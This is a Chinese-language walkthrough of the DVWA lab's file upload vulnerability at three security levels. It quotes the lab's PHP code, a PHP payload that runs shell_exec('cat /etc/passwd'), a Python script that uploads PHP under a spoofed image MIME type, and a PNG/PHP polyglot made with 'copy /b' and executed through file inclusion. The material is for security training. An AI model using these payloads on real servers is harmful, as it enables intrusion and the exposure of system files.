DVWA-File Upload(文件上传漏洞)
File Upload 文件上传漏洞是通过上传文件功能,上传一些可执行的脚本文件,且服务器端没有对上传的文件进行严格的校验或者在服务器端没有对上传的文件进行安全策略的配置,
导致文件能成功上传到服务器上,且能够解析执行。
DVWA-File Upload 的级别:
--low
--medium
--high
--impossible
--low级别:
服务器端代码:
<?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // Can we move the file to the upload folder? if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { // No echo '<pre>Your image was not uploaded.</pre>'; } else { // Yes! echo "<pre>{$target_path} succesfully uploaded!</pre>"; } } ?>
在low中,当前对上传的文件没有任何校验,只是判断上传成功的文件,是否能移动到指定的目录中而已。
move_uploaded_file()函数将上传的文件移动到新位置。
写一个test.php文件代码如下:
<?php //打印当前目录 $current_pwd = exec("pwd"); echo $current_pwd; echo "<br/>"; //打印当前服务器上的账号信息 $s_user = shell_exec("cat /etc/passwd"); echo $s_user; ?>
脚本文件test.php已经上传成功
访问hackable/uploads/test.php 文件:http://192.168.52.132/hackable/uploads/test.php
结果如下:
--medium级别:
服务器端代码:
<?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; // Is it an image? if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && ( $uploaded_size < 100000 ) ) { // Can we move the file to the upload folder? if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { // No echo '<pre>Your image was not uploaded.</pre>'; } else { // Yes! echo "<pre>{$target_path} succesfully uploaded!</pre>"; } } else { // Invalid file echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } } ?>
在medium中增加了判断文件类型只能为图片(格式jpeg和png)且上传文件大小不能大于100000B/(1024*1024)=0.095Mb(也就是限制图片大小<1Mb)。
requests-toolbelt 信息:https://toolbelt.readthedocs.io/en/latest/user.html
脚本形式上传文件:
先看一下上传成功png文件,接口传递的信息,可以直接在浏览器中F12或者工具抓包的形式。
#encoding:utf-8 import requests from requests_toolbelt import MultipartEncoder def test_file_upload(): upload_url = "http://192.168.52.132/vulnerabilities/upload/" file_path = "./test_file_upload.php" fileObject = MultipartEncoder( fields={ "MAX_FILE_SIZE":"100000", # 以二进制形式读取内容,编译网络传输 "uploaded":("test_file_upload.png",open(file_path,"rb"),"image/png"), "Upload":"Upload" }) # 设置请求头 upload_header = { # 读取 fileObject中生成的content-type "Content-Type":fileObject.content_type, "Cookie": "PHPSESSID=cfrsqqsvn1es5abc6l3ivgpjo2; security=high", } with requests.post(url=upload_url,headers=upload_header,data=fileObject) as response: print(response.text) print(response.request.body) print(response.request.headers) test_file_upload()
脚本执行结果:
在页面中访问上传成功的test_file_upload.php文件
通过Brup suite 工具实现security=medium的上传。
先拦截上传请求的接口
然后上传php格式的文件,将uploaded参数中的Content-Type内容替换为:image/png
--high级别:
服务器端代码:
<?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; // Is it an image? if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) && ( $uploaded_size < 100000 ) && getimagesize( $uploaded_tmp ) ) { // Can we move the file to the upload folder? if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) { // No echo '<pre>Your image was not uploaded.</pre>'; } else { // Yes! echo "<pre>{$target_path} succesfully uploaded!</pre>"; } } else { // Invalid file echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } } ?>
在high中,加上了文件名后缀的校验,和校验文件的像素大小。
首先可以利用cmd.exe将的dos模式下,通过copy将png文件和php文件以二进制的形式合并。然后在将文件上传到服务器上。在通过文件包含漏洞去读取文件内容,
就可以执行到合并在png文件中的php的代码了。
在cmd的dos模式下,将png文件和php文件内容合并起来:
copy test.png /b + test_file_upload.php new_test.png
以记事本的形式,看看new_test.png文件的内容是否包含test_file_upload.php的内容
上传合并php代码的new_test.png文件
再切换到File Inclusion 漏洞页面,利用该漏洞可以读取文件的功能,读取new_test.png文件的内容,就会执行在new_test.png中的php代码。